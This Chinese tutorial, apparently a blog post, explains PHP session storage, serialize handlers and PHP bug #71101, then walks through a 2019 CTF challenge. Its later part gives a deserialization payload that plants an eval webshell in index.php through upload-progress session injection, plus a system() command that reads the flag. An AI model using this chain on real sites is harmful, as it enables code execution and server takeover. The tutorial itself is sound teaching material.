带你走进PHP session反序列化漏洞

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带你走进PHP session反序列化漏洞

0x01 写在前面

前些天打了巅峰极客,遇到了一题 session 反序列化,借此机会整理一下php session 反序列化的前生今世,愿与君共勉,如若有错,还望斧正

0x02 什么是 php session

PHP session之前,必须要知道什么是session,那么到底什么是session呢?

Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论 PHP session 机制。

PHP session 可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie 的主要区别,所以seesion 的安全性相对较高。

0x03 PHP Session 的工作流程

会话的工作流程很简单,当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的CookiesGetPost中不存在session id,PHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存,如下图:

请输入图片描述

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及formhidden 字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中,如下述代码就是一个在 $_SESSION 变量中注册变量的例子:

<?php
session_start();
if (!isset($_SESSION['username'])) {
  $_SESSION['username'] = 'xianzhi' ;
}
?>

当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。

默认情况下,PHP 使用内置的文件会话保存管理器来完成session的保存,也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。

整个流程大概如上所述,也可参考下述流程图:

请输入图片描述

0x04 PHP session 在 php.ini 中的配置

PHP sessionphp.ini中主要存在以下配置项:

  • session.gc_divisor

php session垃圾回收机制相关配置

  • session.sid_bits_per_character

指定编码的会话ID字符中的位数

  • session.save_path=""

该配置主要设置session的存储路径

  • session.save_handler=""

该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数

  • session.use_strict_mode

严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID

  • session.use_cookies

指定是否在客户端用 cookie 来存放会话 ID,默认启用

  • session.cookie_secure

指定是否仅通过安全连接发送 cookie,默认关闭

  • session.use_only_cookies

指定是否在客户端仅仅使用 cookie 来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击

  • session.name

指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID

  • session.auto_start

指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动

  • session.cookie_lifetime

指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示“直到关闭浏览器”。默认为 0

  • session.cookie_path

指定要设置会话 cookie 的路径,默认为 /

  • session.cookie_domain

指定要设置会话 cookie 的域名,默认为无,表示根据 cookie 规范产生 cookie 的主机名

  • session.cookie_httponly

将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用

  • session.serialize_handler

定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,具体可见下文所述

  • session.gc_probability

该配置项与 session.gc_divisor 合起来用来管理 garbage collection,即垃圾回收进程启动的概率

  • session.gc_divisor

该配置项与session.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率

  • session.gc_maxlifetime

指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在 session 启动的时候开始( 取决于session.gc_probabilitysession.gc_divisor

  • session.referer_check

包含有用来检查每个 HTTP Referer 的子串。如果客户端发送了 Referer 信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串

  • session.cache_limiter

指定会话页面所使用的缓冲控制方法(none/nocache/private/private_no_expire/public)。默认为 nocache

  • session.cache_expire

以分钟数指定缓冲的会话页面的存活期,此设定对 nocache 缓冲控制方法无效。默认为 180

  • session.use_trans_sid

指定是否启用透明 SID 支持。默认禁用

  • session.sid_length

配置会话ID字符串的长度。 会话ID的长度可以在22到256之间。默认值为32。

  • session.trans_sid_tags

指定启用透明sid支持时重写哪些HTML标签以包括会话ID

  • session.trans_sid_hosts

指定启用透明sid支持时重写的主机,以包括会话ID

  • session.sid_bits_per_character

配置编码的会话ID字符中的位数

  • session.upload_progress.enabled

启用上传进度跟踪,并填充$ _SESSION变量, 默认启用。

  • session.upload_progress.cleanup

读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

  • session.upload_progress.prefix

配置$ _SESSION中用于上传进度键的前缀,默认为 upload_progress_

  • session.upload_progress.name

$ _SESSION中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS

  • session.upload_progress.freq

定义应该多长时间更新一次上传进度信息

  • session.upload_progress.min_freq

更新之间的最小延迟

  • session.lazy_write

配置会话数据在更改时是否被重写,默认启用

以上配置项涉及到的安全比较多,如会话劫持、XSS、CSRF 等,这些不是本文的主题,故不在赘述,在这里主要来具体谈一谈session.serialize_handler 配置项

0x05 PHP session 的存储机制

上文中提到了 PHP session的存储机制是由session.serialize_handler 来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,如Codeigniter框架的 session存储的文件名为ci_sessionSESSIONID,如下图所示:

请输入图片描述

当然,文件的内容始终是session值的序列化之后的内容:

请输入图片描述

session.serialize_handler 定义的引擎有三种,如下表所示:

处理器名称存储格式
php键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize经过serialize()函数序列化处理的数组

注:自 PHP 5.5.4 起可以使用 php_serialize

上述三种处理器中,php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 php php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(|!) 。

下面我们实例来看看三种不同处理器序列化后的结果。

php 处理器

首先来看看session.serialize_handler等于 php时候的序列化结果,demo 如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

请输入图片描述

序列化的结果为:session|s:7:"xianzhi";

session$_SESSION['session']的键名,|后为传入 GET 参数经过序列化后的值

php_binary处理器

再来看看session.serialize_handler等于 php_binary时候的序列化结果。

demo 如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

为了更能直观的体现出格式的差别,因此这里设置了键值长度为 35,35 对应的 ASCII 码为#,所以最终的结果如下图所示:

请输入图片描述

序列化的结果为:#sessionsessionsessionsessionsessions:7:"xianzhi";

#为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:7:"xianzhi";为传入 GET 参数经过序列化后的值

php_serialize 处理器

最后就是session.serialize_handler等于 php_serialize时候的序列化结果,同理,demo 如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

请输入图片描述

序列化的结果为:a:1:{s:7:"session";s:7:"xianzhi";}

a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值

0x06 php bug #71101

这个 BUG 是由乌云白帽子ryat师傅于2015-12-12在 php官网上提出来的,他给了一个 payload,内容如下:

<form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>
    <input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />
    <input type =“ file” name =“ file” />
    <input type =“ submit” />
</ form>

然后$_SESSION中的键值就会为$_SESSION["upload_progress_ryat"],在会话上传过程中,将对会话数据进行序列化/反序列化,序列化格式由php.ini中的session.serialize_handler选项设置。 这意味着,如果在脚本中设置了不同的serialize_handler,那么可以导致注入任意session数据。

上面的解释可能看起来有些绕,简单来说php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。

形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

举个简单的例子。

定义一个session.php文件,用于传入 session值,文件内容如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

先看看session的初始内容,如下:

a:1:{s:7:"session";s:5:"hello";}

请输入图片描述

存在另一个class.php 文件,内容如下:

<?php
    error_reporting(0);
  ini_set('session.serialize_handler','php');
  session_start();
    class XianZhi{
    public $name = 'panda';
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
  }
  $str = new XianZhi();
 ?>

访问该页面可以看到:

请输入图片描述

实例化对象后,输出了panda

这两个文件的作用很清晰,session.php文件的处理器是php_serializeclass.php文件的处理器是phpsession.php文件的作用是传入可控的 session 值,class.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name值。

这两个文件如果想要利用 php bug #71101,我们要在session.php文件传入|+序列化格式的值,然后再次访问class.php文件的时候,就会在调用session值的时候,触发此 BUG。

首先生成序列化字符串,利用 payload 如下

<?php
  
class XianZhi{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
}
    $str = new XianZhi();
    $str->name = "xianzhi";
    echo serialize($str);
  ?>

请输入图片描述

payload:O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}

然后传入session.php

请输入图片描述

此时的 session内容如下:

请输入图片描述

a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";}

再次访问class.php文件的时候,就会发现已经触发了 php bug #71101,如下图所示:

请输入图片描述

这仅仅是一个简单的赋值、取值的问题举例,并没有涉及到如何控制 session 值的问题,下面我通过2019 年巅峰极客大赛的 lol这个php session反序列化题进行实例说明。

0x07 实例说明 PHP session 反序列化

这题比赛的时候我们队把源码扣了下来,可能有些页面不全,但是不影响做题,题目的结构如下:

├── app
│   ├── controller
│   │   ├── Files.class.php
│   │   └── IndexController.class.php
│   ├── model
│   │   └── Download.class.php
│   └── view
│       └── Cache.class.php
├── core
│   ├── config.php
│   ├── core.php
│   └── func.php
├── index.php
├── upload
│   └── e9ovitochivkoamlodj6vu9g7g
└── user

config.php文件中找到了一个比较醒目的提示:

<?php
$config=array(
    'debug'=>'false',
    'ini'=>array(
        'session.name' => 'PHPSESSID',
        'session.serialize_handler' => 'php'
    )
);

是的,就是上文中提到的session.serialize_handler,那么再来看看在什么地方开启了session,经过查找,在/core/core.php文件中看到:

<?php

if(!defined('Core_DIR')){
    exit();
}

include(Core_DIR.DS.'config.php');
include(Core_DIR.DS.'func.php');

_if_debug($config['debug']);
spl_autoload_register('autoload_class');
config($config['ini']);


session_start();
define('Upload_DIR',Image_DIR.DS.session_id());
init();

$app = new IndexController();

if(method_exists($app, $app->data['method'])){
    $app->{$app->data['method']}($app->data['param']);
}else{
    $app->index();
}

#$this->method($_POST)

主要是

config($config['ini']);
session_start();

这两局,说明是有读取 session 值的,前面也说了,既然是 php session 反序列化题,那第一步要做的肯定是寻找可控session的点,经过寻找,在app/model/Cache.class.php文件中找到,文件内容如下:

<?php
class Cache{
    public $data;
    public $sj;
    public $path;
    public $html;
    function __construct($data){
        $this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
        $this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
        $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
        $this->path=Cache_DIR.DS.session_id().'.php';
    }

    function __destruct(){
        $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript>    </head>    <body class="is-preload"><div id="wrapper"><header id="header">    <div class="logo"><span class="icon fa-diamond"></span>    </div>    <div class="content"><div class="inner">    <h1>Hero of you</h1></div>    </div>    <nav><ul>    <li><a href="#you">YOU</a></li></ul>    </nav></header><div id="main"><article id="you">    <h2 class="major" ng-app>%s</h2>    <span class="image main"><img src="%s" alt="" /></span>    <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script>    </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');

        if(file_put_contents($this->path,$this->html)){
            include($this->path);
        }
    }
}

在cache 类中,namemessage的值通过 POST 请求得到,然后在传入到 path页面,这样一来,就很清楚了,我们控制namemessage一个变量的值,然后再选择一个path,最终会在我们选择的path页面生成我们想要的东西,payload 如下:

<?php

class Cache{
    public $data ;
    public $sj;
    public $path = '/Library/WebServer/Documents/ctf/index.php';
    public $html;

}
    $str = new Cache();
    $str->data= [
    "name" => "payload",
    "message" => "panda",
    "image" => "panda"
];
    echo serialize($str);

?>

生成序列化值如下:

O:5:"Cache":4:{s:4:"data";a:3:{s:4:"name";s:7:"payload";s:7:"message";s:5:"panda";s:5:"image";s:5:"panda";}s:2:"sj";N;s:4:"path";s:42:"/Library/WebServer/Documents/ctf/index.php";s:4:"html";N;}

然后将 namepayload的值改成<?php eval($_GET[1]);?>,如下:

O:5:"Cache":4:{s:4:"data";a:3:{s:4:"name";s:23:"<?php eval($_GET[a]);?>";s:7:"message";s:5:"panda";s:5:"image";s:5:"panda";}s:2:"sj";N;s:4:"path";s:42:"/Library/WebServer/Documents/ctf/index.php";s:4:"html";N;}

再利用上文中提到的PHP BUG #71101,建立 up.html 页面,页面内容如下:

<form action="http://10.37.14.49/ctf/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="panda" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

抓包,修改 value 的值,如下图所示:

请输入图片描述

由于请求后,session会立刻被清空覆盖

请输入图片描述

因此需要不断发送请求,这里可以写脚本,也可以直接利用burp ,我偷个懒直接利用 burp :

请输入图片描述

然后index.php 的内容就会修改成以下内容:

请输入图片描述

直接向index.php页面发送?a=system('cat /Library/WebServer/Documents/ctf/flag');请求即可得到 flag

请输入图片描述

0x08 总结

通过本次对 PHP session的梳理分析,希望让你对其有了更好的认识和理解,有问题欢迎反馈交流

0x09 参考

https://blog.csdn.net/m0_37421065/article/details/78930935

https://www.php.net/manual/zh/session.configuration.php

https://bugs.php.net/bug.php?id=71101

https://blog.spoock.com/2016/10/16/php-serialize-problem/

https://www.ctolib.com/topics-81497.html

附件:https://xzfile.aliyuncs.com/upload/affix/20191026143810-2d53db1e-f7bb-1.zip

注:本文章首发于先知社区
源地址:https://xz.aliyun.com/t/6640

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